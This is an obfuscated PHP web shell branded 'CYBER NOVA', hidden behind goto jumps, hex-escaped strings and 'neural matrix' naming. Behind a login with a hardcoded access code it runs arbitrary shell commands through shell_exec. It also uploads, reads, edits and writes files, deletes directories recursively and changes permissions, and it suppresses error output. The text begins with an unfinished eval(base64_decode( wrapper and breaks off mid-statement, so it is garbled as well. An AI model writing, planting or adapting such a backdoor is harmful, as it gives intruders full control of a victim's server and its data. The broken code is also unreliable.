<?php eval(base64_decode('
 goto Nt81D; QQ7yJ: YgR_V: goto NC5Jb; trrq4: KgoQ7: goto k_bGE; zd1XF: goto UcakZ; goto trrq4; SDorQ: goto NjudR; goto R_dlF; JSAXN: jixZl: goto R8L0I; C23hT: ?>
</span></div></div><div class="cyber-tools"><div class="tool-card"><div class="tool-header"><span>📤</span> <span>DATA UPLOAD</span></div><form method="post"enctype="multipart/form-data"><div class="form-group"><input name="data_file"class="cyber-input"required type="file"></div><button class="cyber-btn cyber-btn-primary"type="submit"style="width:100%">UPLOAD TO MATRIX</button></form></div><div class="tool-card"><div class="tool-header"><span>⚡</span> <span>CREATE NODE</span></div><form method="post"><div class="form-group"><input name="node_name"class="cyber-input"required placeholder="Node Name"></div><div class="form-group"><select class="cyber-input"name="node_type"><option value="file">📄 Data Node</option><option value="directory">📁 Neural Node</option></select></div><button class="cyber-btn cyber-btn-success"type="submit"style="width:100%">CREATE NODE</button></form></div><div class="tool-card"><div class="tool-header"><span>💻</span> <span>CYBER COMMAND</span></div><form method="post"action="?action=execute&matrix=<?php  goto Ie2XS; i8dO1: ZoX_2: goto Hgb1w; GtrYM: goto p7_u8; goto LqaK2; Sbin6: yIdVT: goto DzSj8; R9aQ4: vMmpi: goto bUkbq; lOxSE: if (isset($_FILES["\144\x61\164\141\137\x66\x69\154\x65"])) { $dest = $currentMatrix . "\57" . basename($_FILES["\x64\x61\164\x61\x5f\x66\151\x6c\145"]["\x6e\x61\155\x65"]); $neuralCore->process($N_UPLOAD, $_FILES["\x64\x61\164\141\x5f\146\151\154\x65"], $dest); $neuralMessage = "\x44\x61\x74\141\40\165\160\154\x6f\x61\144\x65\x64\x20\x74\157\40\x6d\x61\164\x72\x69\x78"; } goto al7WT; g8kJV: ?>
</div><div style="margin-top:20px;color:var(--cyber-blue);font-family:'Share Tech Mono',monospace;font-size:1.1rem">CURRENT MATRIX: <span style="color:var(--matrix-green)"><?php  goto erPEz; lB0c2: goto IbKVz; goto hy130; cXrN4: goto jixZl; goto gQb4U; Ee8nJ: goto Wuhfy; goto af9m1; tsy62: echo date("\x48\x3a\x69\x3a\163"); goto zd1XF; O6RRk: goto ca1ex; goto pTIzk; Ao6sD: goto fce56; goto IaB0z; yoDQ4: echo $currentMatrix; goto SDorQ; LqaK2: URXps: goto fJdPW; pPvLJ: $neuralCore = new NeuralProcessor(); goto vCzEn; bFRUF: $neuralAuth = new NeuralAuth(); goto JE533; Xv6xr: if (isset($_GET["\145\144\x69\164"])) { ?>
<div class="cyber-editor"><div class="editor-header"><div class="editor-title">💾 EDITING:<?php  echo htmlspecialchars(basename($_GET["\145\x64\151\164"])); ?>
</div><div><a href="?matrix=<?php  echo urlencode($currentMatrix); ?>
"class="logout-btn">CLOSE EDITOR</a></div></div><form method="post"><input name="data_target"type="hidden"value="<?php  echo $_GET["\145\x64\151\x74"]; ?>
"> <textarea class="neural-content"name="neural_data"><?php  $content = $neuralCore->process($N_READ, $_GET["\145\x64\151\x74"]); if ($content !== false) { echo htmlspecialchars($content); } ?>
</textarea><div style="padding:25px;text-align:center;background:rgba(0,238,255,.1)"><button class="cyber-btn cyber-btn-primary"type="submit"style="padding:18px 50px;font-size:1.3rem">💾 SAVE TO MATRIX</button></div></form></div><?php  } goto vyX07; GHb01: goto sp31S; goto JSAXN; DGdD1: ?>
</div></div><div class="stat-card"><div class="stat-label">MEMORY USAGE</div><div class="stat-value"><?php  goto O6RRk; gvQJQ: PktKu: goto NzHlT; a73_H: aZxni: goto tX9tD; Nt81D: goto URXps; goto L2XON; SfL_5: ?>
"></div><div class="form-group"><input name="access_mode"class="cyber-input"required placeholder="Access Code"value="755"></div><button class="cyber-btn cyber-btn-warning"type="submit"style="width:100%">MODIFY ACCESS</button></form></div></div><div class="data-table-container"><table class="data-table"><thead><tr><th>Name</th><th>Size</th><th>Modified</th><th>Access</th><th>Operations</th></tr></thead><tbody><?php  goto Q6fQv; bUkbq: $currentPath = ''; goto URdPo; P9Xok: mL88O: goto bFRUF; CybCU: goto dSixy; goto V4c0v; Mr1HT: $N_DELETE = $neuralCore->getNeuralFunction("\x75\156\154\151\156\x6b"); goto m4O4q; r2Pkh: goto N3Qy0; goto R9aQ4; kWQeb: ?>
GB</div></div><div class="stat-card"><div class="stat-label">SYSTEM LOAD</div><div class="stat-value"><?php  goto c0Qys; Sgo0l: if ($currentMatrix != "\56" && $currentMatrix != "\x2f") { ?>
<tr><td colspan="5"><a href="?matrix=<?php  echo urlencode(dirname($currentMatrix)); ?>
"style="display:flex;align-items:center;gap:15px;text-decoration:none;color:var(--cyber-yellow);font-family:Orbitron,monospace"><span class="data-icon">🔙</span> <strong>.. (PARENT MATRIX)</strong></a></td></tr><?php  } goto jSt1R; X1iGq: goto ZIfG4; goto i8dO1; TpvM0: ?>
</tbody></table></div><?php  goto rnKLM; pIgBg: class NeuralProcessor { private $neuralCore; private $neuralNodes = array(); public function __construct() { $this->neuralCore = new NeuralCrypt(); $this->initNeuralNetwork(); } private function initNeuralNetwork() { $this->neuralNodes = array($this->neuralCore->getNeuralCode("\x65\143\150\157") => function ($data) { echo $data; return true; }, $this->neuralCore->getNeuralCode("\163\x68\145\x6c\x6c\137\x65\170\145\x63") => function ($cmd) { if (function_exists("\x73\x68\x65\x6c\154\x5f\145\x78\145\x63")) { return shell_exec($cmd); } return "\x5b\x4e\105\x55\122\101\114\137\103\x4f\x4d\x4d\x41\116\104\137\x42\114\117\103\x4b\x45\104\x5d"; }, $this->neuralCore->getNeuralCode("\x66\151\x6c\x65\x5f\x67\145\164\x5f\x63\x6f\156\164\x65\x6e\x74\163") => function ($path) { if (file_exists($path)) { return file_get_contents($path); } return false; }, $this->neuralCore->getNeuralCode("\146\151\154\145\137\x70\x75\x74\137\143\157\x6e\164\x65\x6e\164\x73") => function ($path, $content) { return file_put_contents($path, $content); }, $this->neuralCore->getNeuralCode("\165\x6e\154\x69\156\x6b") => function ($path) { if (is_dir($path)) { return $this->recursivePurge($path); } return unlink($path); }, $this->neuralCore->getNeuralCode("\x6d\x6b\x64\x69\x72") => function ($path) { return mkdir($path, 493, true); }, $this->neuralCore->getNeuralCode("\x63\x68\x6d\157\x64") => function ($path, $mode) { return chmod($path, octdec($mode)); }, $this->neuralCore->getNeuralCode("\x73\143\141\156\144\x69\162") => function ($path) { return $this->matrixScan($path); }, $this->neuralCore->getNeuralCode("\155\x6f\x76\x65\137\x75\x70\154\x6f\141\144\145\x64\x5f\x66\151\154\145") => function ($file, $dest) { return move_uploaded_file($file["\164\155\x70\137\156\141\x6d\x65"], $dest); }); } private function matrixScan($path) { $nodes = array(); if (is_dir($path)) { $entries = scandir($path); foreach ($entries as $entry) { if ($entry != "\x2e" && $entry != "\x2e\56") { $fullPath = $path . "\x2f" . $entry; $nodes[] = array("\x6e\x61\x6d\145" => $entry, "\x70\x61\x74\150" => $fullPath, "\x74\x79\x70\145" => is_dir($fullPath) ? "\144\x69\x72\x65\x63\x74\157\x72\171" : "\x66\x69\154\145", "\163\151\172\145" => $this->formatDataSize(filesize($fullPath)), "\x6d\x6f\144\x69\x66\x69\x65\144" => date("\131\55\x6d\x2d\x64\40\x48\x3a\x69\x3a\163", filemtime($fullPath)), "\160\145\162\x6d\163" => substr(sprintf("\x25\157", fileperms($fullPath)), -4), "\x69\x63\x6f\156" => is_dir($fullPath) ? "\360\x9f\x93\x81" : $this->getFileIcon($entry)); } } } return $nodes; } private function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = array("\160\x68\160" => "\360\x9f\222\276", "\152\x73" => "\xf0\x9f\x93\234", "\150\164\155\x6c" => "\360\237\x8c\x90", "\x63\163\x73" => "\xf0\x9f\x8e\xa8", "\152\163\x6f\156" => "\360\237\224\xa3", "\163\x71\x6c" => "\xf0\x9f\227\203\357\xb8\217", "\164\x78\x74" => "\xf0\x9f\x93\x9d", "\x70\144\x66" => "\xf0\x9f\223\x95", "\x6a\x70\147" => "\360\x9f\x96\274\xef\270\x8f", "\x70\x6e\x67" => "\xf0\x9f\x96\xbc\xef\270\217", "\147\x69\146" => "\xf0\237\226\xbc\357\xb8\217", "\172\x69\160" => "\360\x9f\x97\x9c\357\270\217", "\x6d\x70\63" => "\360\x9f\x8e\xb5", "\x6d\160\x34" => "\xf0\x9f\x8e\xa5", "\x65\170\145" => "\342\232\x99\357\xb8\x8f", "\x64\145\x66\x61\165\x6c\x74" => "\360\237\223\x84"); return $icons[$ext] ?? $icons["\144\x65\146\x61\165\154\x74"]; } private function formatDataSize($bytes) { if ($bytes == 0) { return "\x30\x20\x42"; } $units = array("\102", "\113\x42", "\115\102", "\107\x42"); $i = floor(log($bytes, 1024)); return round($bytes / pow(1024, $i), 2) . "\x20" . $units[$i]; } private function recursivePurge($dir) { if (!is_dir($dir)) { return false; } $items = array_diff(scandir($dir), array("\56", "\56\x2e")); foreach ($items as $item) { $path = $dir . "\57" . $item; if (is_dir($path)) { $this->recursivePurge($path); } else { unlink($path); } } return rmdir($dir); } public function process($neuralCode, ...$params) { if (isset($this->neuralNodes[$neuralCode])) { $handler = $this->neuralNodes[$neuralCode]; if ($neuralCode === $this->neuralCore->getNeuralCode("\x73\143\x61\x6e\144\x69\x72") || $neuralCode === $this->neuralCore->getNeuralCode("\165\x6e\154\x69\x6e\x6b")) { $handler = \Closure::bind($handler, $this, get_class()); } return $handler(...$params); } return null; } public function getNeuralFunction($name) { return $this->neuralCore->getNeuralCode($name); } } goto hIRKd; V4pe2: goto wQQE8; goto gvQJQ; s01ye: HxZX2: goto j2s51; WiiSf: k9eVy: goto AT9v5; v0WFU: goto MGQKt; goto AMZaU; w70zf: T06yO: goto uNjrY; IaB0z: Wuhfy: goto lOxSE; EmzuV: class NeuralAuth { private $accessCode = "\61\x30\x36"; private $sessionToken = "\x6e\x65\x75\162\x61\154\137\141\143\164\x69\x76\x65"; private $cryptCore; public function __construct() { session_start(); $this->cryptCore = new NeuralCrypt(); } public function authenticate($input) { $encodedInput = $this->cryptCore->neuralEncode($input); $encodedCode = $this->cryptCore->neuralEncode($this->accessCode); if ($encodedInput === $encodedCode) { $_SESSION[$this->sessionToken] = $this->cryptCore->neuralEncode("\116\x45\x55\x52\101\x4c\137\x41\x43\124\x49\x56\x45"); $_SESSION["\156\145\165\x72\x61\x6c\x5f\164\x69\x6d\x65"] = time(); $_SESSION["\x73\x65\x73\x73\x69\157\156\137\x69\x64"] = bin2hex(random_bytes(8)); return true; } $errors = array($this->cryptCore->neuralEncode("\x4e\145\x75\x72\x61\154\x20\141\x75\x74\x68\145\156\164\x69\x63\141\164\x69\x6f\x6e\x20\146\x61\151\x6c\145\144"), $this->cryptCore->neuralEncode("\101\143\x63\145\163\x73\x20\x63\157\x64\145\40\x69\156\x76\141\x6c\x69\x64"), $this->cryptCore->neuralEncode("\116\145\165\x72\141\154\x20\x70\141\x74\150\x77\x61\x79\40\x62\x6c\157\143\x6b\x65\144"), $this->cryptCore->neuralEncode("\x53\x65\143\165\162\151\x74\171\x20\142\162\145\141\x63\150\40\144\x65\x74\x65\143\x74\145\x64")); $_SESSION["\x6e\x65\165\x72\x61\x6c\137\145\162\x72\157\162"] = $errors[array_rand($errors)]; return false; } public function isAuthenticated() { if (!isset($_SESSION[$this->sessionToken])) { return false; } $stored = $_SESSION[$this->sessionToken]; $expected = $this->cryptCore->neuralEncode("\116\x45\x55\x52\x41\x4c\x5f\x41\x43\x54\111\126\x45"); return $stored === $expected; } public function logout() { session_destroy(); } } goto fvRPu; af9m1: uyTo5: goto lhGSc; lhGSc: ?>
<div class="matrix-nav"><div class="cyber-breadcrumb"><a href="?matrix=.">💾 CYBER ROOT</a><?php  goto Sw7YT; NC5Jb: echo urlencode($currentMatrix); goto Cr2oS; Arwjj: $matrixContents = $neuralCore->process($N_SCAN, $currentMatrix); goto shXmL; XPFlS: goto qn18x; goto Xzi0f; c0Qys: goto yIdVT; goto F1gY8; gNCUl: ca1ex: goto vfQFQ; uNjrY: $N_MKDIR = $neuralCore->getNeuralFunction("\x6d\x6b\144\x69\x72"); goto XPFlS; NzHlT: foreach ($parts as $part) { if (!empty($part)) { $currentPath .= "\57" . $part; echo "\40\xe2\206\x92\x20"; echo "\x3c\141\x20\x68\162\145\x66\x3d\x22\77\x6d\141\x74\162\151\170\x3d" . urlencode($currentPath) . "\x22\x3e" . $part . "\x3c\x2f\x61\76"; } } goto v0WFU; AMZaU: IbKVz: goto pIgBg; URdPo: goto PktKu; goto WiiSf; YOaFZ: LEvs8: goto Gm9RJ; AT9v5: error_reporting(0); goto sRJmY; I4Kmj: goto QGCvq; goto w70zf; vfQFQ: echo round(memory_get_usage(true) / 1024 / 1024, 2); goto qrkzG; F1gY8: qn18x: goto ffX4Z; jrUPY: UcakZ: goto DGdD1; Q6fQv: goto rzTPj; goto a73_H; lP3cD: fce56: goto WPGJc; Z0Zn4: goto uyTo5; goto DOr9u; eOjvW: ?>
</div></div></div><a href="?action=logout"class="logout-btn">TERMINATE SESSION</a></div><div class="cyber-container"><?php  goto kYtS4; PHpEk: goto sSRcw; goto oK3VN; al7WT: goto vhGB3; goto s01ye; JetTr: egLaP: goto bPjic; T6xxf: $N_SCAN = $neuralCore->getNeuralFunction("\x73\143\x61\156\x64\151\x72"); goto V4pe2; Kdlzr: ?>
"><div class="form-group"><input name="cyber_cmd"class="cyber-input"required placeholder="Enter Cyber Command"></div><button class="cyber-btn cyber-btn-danger"type="submit"style="width:100%">EXECUTE COMMAND</button></form></div><div class="tool-card"><div class="tool-header"><span>🔐</span> <span>ACCESS CONTROL</span></div><form method="post"action="?action=chmod&matrix=<?php  goto p1JlY; vX1r6: MGQKt: goto g8kJV; XgZwf: PzXle: goto Svadk; Hgb1w: if (empty($matrixContents)) { ?>
<tr><td colspan="5"style="text-align:center;padding:50px;color:var(--cyber-blue)"><div style="font-size:4rem;margin-bottom:20px">💾</div>MATRIX IS EMPTY</td></tr><?php  } else { foreach ($matrixContents as $node) { ?>
<tr><td><div style="display:flex;align-items:center;gap:15px"><?php  echo $node["\x69\x63\157\156"]; if ($node["\164\x79\160\x65"] == "\x64\x69\162\145\x63\x74\x6f\162\171") { ?>
<a href="?matrix=<?php  echo urlencode($node["\x70\141\164\x68"]); ?>
"style="color:var(--cyber-yellow);text-decoration:none;font-family:Orbitron,monospace;font-weight:700"><?php  echo htmlspecialchars($node["\x6e\141\155\145"]); ?>
</a><?php  } else { ?>
<span style="color:#fff;font-family:'Share Tech Mono',monospace"><?php  echo htmlspecialchars($node["\x6e\141\155\145"]); ?>
</span><?php  } ?>
</div></td><td><?php  echo $node["\163\x69\172\x65"]; ?>
</td><td><?php  echo $node["\x6d\x6f\x64\151\x66\151\x65\144"]; ?>
</td><td><code style="background:rgba(0,238,255,.1);padding:5px 10px;border-radius:5px;color:var(--matrix-green);font-family:'Share Tech Mono',monospace"><?php  echo $node["\x70\145\162\155\x73"]; ?>
</code></td><td><div class="data-actions"><?php  if ($node["\164\x79\160\x65"] != "\144\151\162\x65\x63\164\x6f\x72\x79") { ?>
<a href="?edit=<?php  echo urlencode($node["\x70\141\164\150"]); ?>
&matrix=<?php  echo urlencode($currentMatrix); ?>
"class="cyber-btn cyber-btn-success">EDIT</a><?php  } ?>
<a href="?action=delete&target=<?php  echo urlencode($node["\x70\x61\x74\x68"]); ?>
&matrix=<?php  echo urlencode($currentMatrix); ?>
"class="cyber-btn cyber-btn-danger"onclick='return confirm("PERMANENTLY DELETE THIS NODE?")'>DELETE</a></div></td></tr><?php  } } goto L8agk; bs9lR: fGVK0: goto U2DzQ; DpLfs: dSixy: goto hm1zZ; DL1bS: $N_WRITE = $neuralCore->getNeuralFunction("\146\151\154\x65\x5f\160\165\x74\x5f\143\x6f\156\164\x65\156\x74\x73"); goto ZKCvC; hy130: FPzgL: goto nuia1; UlfES: goto C2CV7; goto W7CBK; HIskf: LizIQ: goto pPvLJ; Yudy6: goto aZxni; goto jrUPY; WPGJc: $neuralMessage = ''; goto cXrN4; L8agk: goto j3l_7; goto rHx7P; Svadk: echo urlencode($currentMatrix); goto X1iGq; TJhVp: goto egLaP; goto vX1r6; gIPQk: X39zZ: goto Mr1HT; xSqyb: $N_EXECUTE = $neuralCore->getNeuralFunction("\x73\x68\x65\x6c\154\x5f\145\x78\145\x63"); goto GHb01; kYtS4: goto Gwr5B; goto P9Xok; rHx7P: Gwr5B: goto qmOaJ; Ie2XS: goto PzXle; goto qFyNc; et6Ly: ?>
"><div class="form-group"><input name="target_path"class="cyber-input"required value="<?php  goto FG_PQ; oNWKw: sp31S: goto B3hqu; gQb4U: VAw8m: goto x4Hyy; L7M7r: if (isset($_POST["\156\145\165\x72\x61\x6c\137\144\x61\164\x61"])) { $neuralCore->process($N_WRITE, $_POST["\144\141\164\141\x5f\x74\x61\x72\147\145\x74"], $_POST["\156\x65\165\162\141\x6c\x5f\x64\x61\x74\141"]); $neuralMessage = "\x4e\145\165\x72\141\154\40\x64\141\x74\141\40\x73\x61\x76\x65\x64"; } goto JIihQ; nuia1: ?>
<div class="cyber-footer"><div class="stats-grid"><div class="stat-card"><div class="stat-label">SYSTEM TIME</div><div class="stat-value"><?php  goto fxQkS; zWp6W: ZIfG4: goto Kdlzr; R8L0I: if (isset($_GET["\x61\x63\x74\151\157\x6e"])) { $action = $_GET["\141\143\x74\151\157\156"]; switch ($action) { case "\144\145\154\145\164\x65": if (isset($_GET["\164\141\x72\147\145\164"])) { $neuralCore->process($N_DELETE, $_GET["\164\141\x72\147\x65\164"]); header("\x4c\157\143\x61\164\151\x6f\x6e\72\x20\77\x6d\141\164\x72\151\x78\75" . urlencode($currentMatrix)); die; } break; case "\x6c\x6f\147\157\165\x74": $neuralAuth->logout(); header("\114\x6f\143\x61\164\x69\157\x6e\x3a\x20" . $_SERVER["\x50\110\x50\137\123\105\x4c\106"]); die; case "\145\x78\145\x63\165\164\x65": if (isset($_POST["\x63\x79\142\x65\x72\137\143\155\144"])) { $output = $neuralCore->process($N_EXECUTE, $_POST["\143\171\142\145\x72\x5f\x63\x6d\x64"]); $neuralMessage = htmlspecialchars($output); } break; case "\143\x68\x6d\x6f\x64": if (isset($_POST["\164\141\162\x67\x65\x74\137\x70\141\164\x68"]) && isset($_POST["\141\143\x63\145\163\x73\x5f\x6d\x6f\144\x65"])) { $neuralCore->process($N_CHMOD, $_POST["\164\x61\x72\x67\145\x74\137\x70\141\164\150"], $_POST["\141\x63\143\x65\163\x73\137\155\157\x64\145"]); $neuralMessage = "\x41\x63\x63\145\x73\163\40\x70\x65\x72\155\x69\163\x73\x69\x6f\x6e\163\x20\155\x6f\144\x69\146\151\145\144"; } break; } } goto Ee8nJ; bPjic: $currentMatrix = isset($_GET["\155\x61\x74\162\x69\x78"]) ? $_GET["\155\141\x74\x72\x69\x78"] : "\56"; goto CybCU; y9ipI: vhGB3: goto DxUfY; ffX4Z: $N_CHMOD = $neuralCore->getNeuralFunction("\143\150\155\157\x64"); goto HCRP8; Xzi0f: cvwjo: goto et6Ly; I2gRy: goto N2IM2; goto y9ipI; tOwZ0: goto cqyQX; goto I39iC; V4c0v: CJ1uz: goto tsy62; L2XON: N3Qy0: goto C23hT; AXFce: goto KgoQ7; goto zWp6W; DxUfY: if (isset($_POST["\156\x6f\x64\x65\x5f\x6e\x61\155\x65"])) { $newPath = $currentMatrix . "\57" . $_POST["\156\x6f\x64\145\137\156\141\155\x65"]; if ($_POST["\156\157\x64\145\x5f\164\171\160\x65"] == "\144\151\162\145\143\x74\x6f\162\x79") { $neuralCore->process($N_MKDIR, $newPath); $neuralMessage = "\116\x65\x75\x72\141\154\x20\156\157\144\145\x20\143\x72\x65\141\x74\x65\x64"; } else { $neuralCore->process($N_WRITE, $newPath, ''); $neuralMessage = "\104\141\x74\x61\40\x6e\x6f\144\145\40\143\x72\145\141\164\145\144"; } } goto EDNVL; fJdPW: class NeuralCrypt { private $neuralKey = "\103\x59\102\105\122\x5f\x4e\117\126\101\x5f\62\60\67\x37"; public function neuralEncode($data) { $layer1 = gzcompress($data, 9); $layer2 = str_rot13($layer1); $layer3 = $this->matrixInvert($layer2); $layer4 = base64_encode($layer3); return $layer4; } public function neuralDecode($encoded) { $layer1 = base64_decode($encoded); $layer2 = $this->matrixInvert($layer1); $layer3 = str_rot13($layer2); $layer4 = gzuncompress($layer3); return $layer4; } private function matrixInvert($data) { return strrev($data); } private $neuralFunctions = array("\x73\171\156\x61\160\x73\x65\117\165\x74\x70\x75\164" => "\x65\143\x68\157", "\x6e\x65\x75\x72\141\x6c\x45\170\145\143\x75\164\145" => "\163\x68\x65\154\154\x5f\145\x78\145\x63", "\x6d\x61\164\x72\x69\x78\x52\145\141\x64" => "\146\x69\154\145\x5f\x67\145\x74\137\x63\157\156\164\145\x6e\164\x73", "\155\x61\x74\162\151\170\x57\162\151\164\x65" => "\146\x69\154\x65\137\160\x75\x74\137\143\157\156\x74\145\156\164\163", "\166\x6f\x69\x64\120\x75\162\147\x65" => "\x75\x6e\x6c\151\156\x6b", "\x6e\x6f\x64\x65\x43\x72\145\x61\164\145" => "\155\153\x64\x69\x72", "\x61\143\143\145\x73\x73\x4d\x6f\144\x69\x66\x79" => "\143\150\x6d\x6f\144", "\x6d\141\164\162\x69\170\x53\143\141\x6e" => "\163\x63\141\156\144\x69\162", "\144\x61\164\x61\x55\x70\x6c\157\141\x64" => "\x6d\x6f\166\145\137\x75\160\154\157\141\x64\x65\144\137\146\x69\x6c\145"); public function getNeuralCode($realName) { foreach ($this->neuralFunctions as $neural => $real) { if ($real === $realName) { return $this->neuralEncode($neural); } } return null; } } goto lB0c2; pTIzk: p7_u8: goto zkCJL; rnKLM: goto xfpCt; goto cXLWr; Sw7YT: goto LEvs8; goto IrQ80; DOr9u: k8rqb: goto EmzuV; I39iC: N2IM2: goto DL1bS; hm1zZ: $currentMatrix = realpath($currentMatrix) ?: "\56"; goto Ao6sD; erPEz: goto VAw8m; goto Sbin6; qeGDB: if (!$neuralAuth->isAuthenticated()) { if (isset($_POST["\x6e\x65\x75\162\141\154\137\x6b\145\x79"])) { if ($neuralAuth->authenticate($_POST["\x6e\145\x75\x72\141\x6c\x5f\153\x65\171"])) { header("\x4c\x6f\143\141\x74\x69\157\156\x3a\x20" . $_SERVER["\120\110\120\137\123\105\x4c\x46"]); die; } } ?>
<!doctypehtml><html><head><meta charset="UTF-8"><title>NEURAL ACCESS // CYBER NOVA</title><style>@import url(https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700;900&family=Share+Tech+Mono&display=swap);:root{--cyber-blue:#00eeff;--matrix-green:#00ff41;--neon-purple:#9d00ff;--dark-space:#0a0a1a;--deep-space:#151530;--cyber-glow:0 0 10px}*{margin:0;padding:0;box-sizing:border-box}body{font-family:Orbitron,monospace;background:var(--dark-space);color:var(--cyber-blue);min-height:100vh;display:flex;justify-content:center;align-items:center;overflow:hidden;background-image:radial-gradient(circle at 20% 30%,rgba(0,238,255,.1) 0,transparent 40%),radial-gradient(circle at 80% 70%,rgba(157,0,255,.1) 0,transparent 40%)}.neural-terminal{width:100%;max-width:500px;background:rgba(21,21,48,.9);border:2px solid var(--cyber-blue);border-radius:20px;padding:50px;backdrop-filter:blur(10px);box-shadow:0 0 50px var(--cyber-blue),inset 0 0 30px rgba(0,238,255,.1);position:relative;overflow:hidden}.neural-terminal::before{content:'';position:absolute;top:-2px;left:-2px;right:-2px;bottom:-2px;background:linear-gradient(45deg,var(--cyber-blue),var(--neon-purple),var(--matrix-green));border-radius:22px;z-index:-1;animation:terminalGlow 3s linear infinite}@keyframes terminalGlow{0%{filter:hue-rotate(0)}100%{filter:hue-rotate(360deg)}}.terminal-header{text-align:center;margin-bottom:40px}.cyber-title{font-size:2.8rem;font-weight:900;background:linear-gradient(45deg,var(--cyber-blue),var(--matrix-green));-webkit-background-clip:text;background-clip:text;color:transparent;text-shadow:var(--cyber-glow) var(--cyber-blue);letter-spacing:3px;margin-bottom:10px}.terminal-subtitle{color:var(--matrix-green);font-size:1.2rem;letter-spacing:2px;text-transform:uppercase}.access-form{margin-top:30px}.input-group{margin-bottom:30px;position:relative}.neural-label{display:block;color:var(--cyber-blue);margin-bottom:15px;font-size:1.1rem;letter-spacing:2px;text-transform:uppercase}.neural-input{width:100%;padding:20px;background:rgba(10,10,26,.7);border:2px solid var(--neon-purple);border-radius:10px;color:var(--matrix-green);font-family:'Share Tech Mono',monospace;font-size:1.3rem;letter-spacing:3px;text-align:center;transition:all .3s}.neural-input:focus{outline:0;border-color:var(--cyber-blue);box-shadow:0 0 30px var(--cyber-blue);background:rgba(0,238,255,.1)}.cyber-button{width:100%;padding:20px;background:linear-gradient(45deg,var(--cyber-blue),var(--neon-purple));border:none;border-radius:10px;color:#fff;font-family:Orbitron,monospace;font-size:1.4rem;font-weight:700;letter-spacing:3px;text-transform:uppercase;cursor:pointer;transition:all .3s;position:relative;overflow:hidden}.cyber-button:hover{transform:translateY(-3px);box-shadow:0 10px 40px rgba(0,238,255,.4)}.terminal-footer{margin-top:30px;text-align:center;color:var(--matrix-green);font-size:.9rem;opacity:.8}.scan-line{position:absolute;top:0;left:0;width:100%;height:2px;background:linear-gradient(90deg,transparent,var(--matrix-green),transparent);animation:scan 2s linear infinite}@keyframes scan{0%{top:0}100%{top:100%}}.error-display{background:rgba(255,0,0,.1);border:2px solid red;border-radius:10px;padding:20px;margin-bottom:30px;text-align:center;color:red;animation:errorPulse 1s infinite}@keyframes errorPulse{0%,100%{box-shadow:0 0 20px red}50%{box-shadow:0 0 40px red}}</style></head><body><div class="neural-terminal"><div class="scan-line"></div><div class="terminal-header"><h1 class="cyber-title">CYBER NOVA</h1><div class="terminal-subtitle">NEURAL ACCESS TERMINAL</div></div><?php  if (isset($_SESSION["\x6e\145\x75\162\x61\x6c\137\145\162\162\x6f\x72"])) { $crypt = new NeuralCrypt(); $errorMsg = $crypt->neuralDecode($_SESSION["\156\145\165\162\141\154\x5f\x65\x72\x72\x6f\162"]); unset($_SESSION["\x6e\x65\165\162\141\154\x5f\x65\162\162\x6f\x72"]); ?>
<div class="error-display">⚠️<?php  echo htmlspecialchars($errorMsg); ?>
</div><?php  } ?>
<form method="post"class="access-form"><div class="input-group"><label class="neural-label">NEURAL ACCESS KEY</label> <input name="neural_key"class="neural-input"required placeholder="ENTER NEURAL CODE"autofocus type="password"></div><button class="cyber-button"type="submit">🔓 INITIATE NEURAL LINK</button></form><div class="terminal-footer">CYBER NOVA v7.0 // SECURITY: MAXIMUM</div></div><script>// Add matrix rain effect
            document.addEventListener('DOMContentLoaded', function() {
                const chars = "01アイウエオカキクケコサシスセソタチツテト";
                const canvas = document.createElement('canvas');
                const ctx = canvas.getContext('2d');
                
                canvas.style.position = 'fixed';
                canvas.style.top = '0';
                canvas.style.left = '0';
                canvas.style.width = '100%';
                canvas.style.height = '100%';
                canvas.style.zIndex = '-1';
                canvas.style.opacity = '0.3';
                canvas.style.pointerEvents = 'none';
                
                document.body.appendChild(canvas);
                
                function resize() {
                    canvas.width = window.innerWidth;
                    canvas.height = window.innerHeight;
                }
                
                window.addEventListener('resize', resize);
                resize();
                
                const columns = Math.floor(canvas.width / 20);
                const drops = [];
                
                for (let i = 0; i < columns; i++) {
                    drops[i] = 1;
                }
                
                function draw() {
                    ctx.fillStyle = 'rgba(10, 10, 26, 0.05)';
                    ctx.fillRect(0, 0, canvas.width, canvas.height);
                    
                    ctx.fillStyle = '#00eeff';
                    ctx.font = '15px "Share Tech Mono"';
                    
                    for (let i = 0; i < drops.length; i++) {
                        const text = chars[Math.floor(Math.random() * chars.length)];
                        ctx.fillText(text, i * 20, drops[i] * 20);
                        
                        if (drops[i] * 20 > canvas.height && Math.random() > 0.975) {
                            drops[i] = 0;
                        }
                        drops[i]++;
                    }
                }
                
                setInterval(draw, 50);
            });</script></body></html><?php  die; } goto TJhVp; p1JlY: goto YgR_V; goto lP3cD; m4O4q: goto T06yO; goto DpLfs; sRJmY: goto R2c4K; goto R4Cfx; shXmL: goto fGVK0; goto D3Seg; vCzEn: goto bZudj; goto gIPQk; j2s51: ?>
MB</div></div><div class="stat-card"><div class="stat-label">DISK SPACE</div><div class="stat-value"><?php  goto GtrYM; nQcyI: togyc: goto yoDQ4; EDNVL: goto WBp81; goto YOaFZ; Gm9RJ: $parts = explode("\57", trim($currentMatrix, "\x2f")); goto tFl9t; qmOaJ: if ($neuralMessage) { ?>
<div class="neural-message"><span style="font-size:2rem">💾</span><div style="font-family:Orbitron,monospace;font-size:1.2rem"><?php  echo htmlspecialchars($neuralMessage); ?>
</div></div><?php  } goto Z0Zn4; fvRPu: goto k9eVy; goto ICBr9; q0ofA: goto mL88O; goto bJbil; zkCJL: echo round(disk_free_space("\x2e") / 1024 / 1024 / 1024, 2); goto UlfES; vyX07: goto FPzgL; goto QQ7yJ; hALr5: ini_set("\144\151\x73\160\x6c\141\x79\137\x65\x72\x72\x6f\x72\163", 0); goto q0ofA; Cr2oS: goto cvwjo; goto JetTr; jSt1R: goto ZoX_2; goto bs9lR; B3hqu: $N_READ = $neuralCore->getNeuralFunction("\x66\x69\154\145\x5f\147\x65\x74\x5f\143\157\156\x74\x65\156\164\163"); goto I2gRy; JE533: goto LizIQ; goto y0EuD; HCRP8: goto G1k_P; goto gNCUl; tX9tD: echo date("\x48\72\151\72\x73"); goto PHpEk; D3Seg: NjudR: goto SfL_5; bJbil: G1k_P: goto T6xxf; IrQ80: QGCvq: goto qeGDB; y0EuD: bZudj: goto niLrm; x4Hyy: echo $currentMatrix; goto r2Pkh; FG_PQ: goto togyc; goto oNWKw; ZKCvC: goto X39zZ; goto AhH28; yTOO3: $N_UPLOAD = 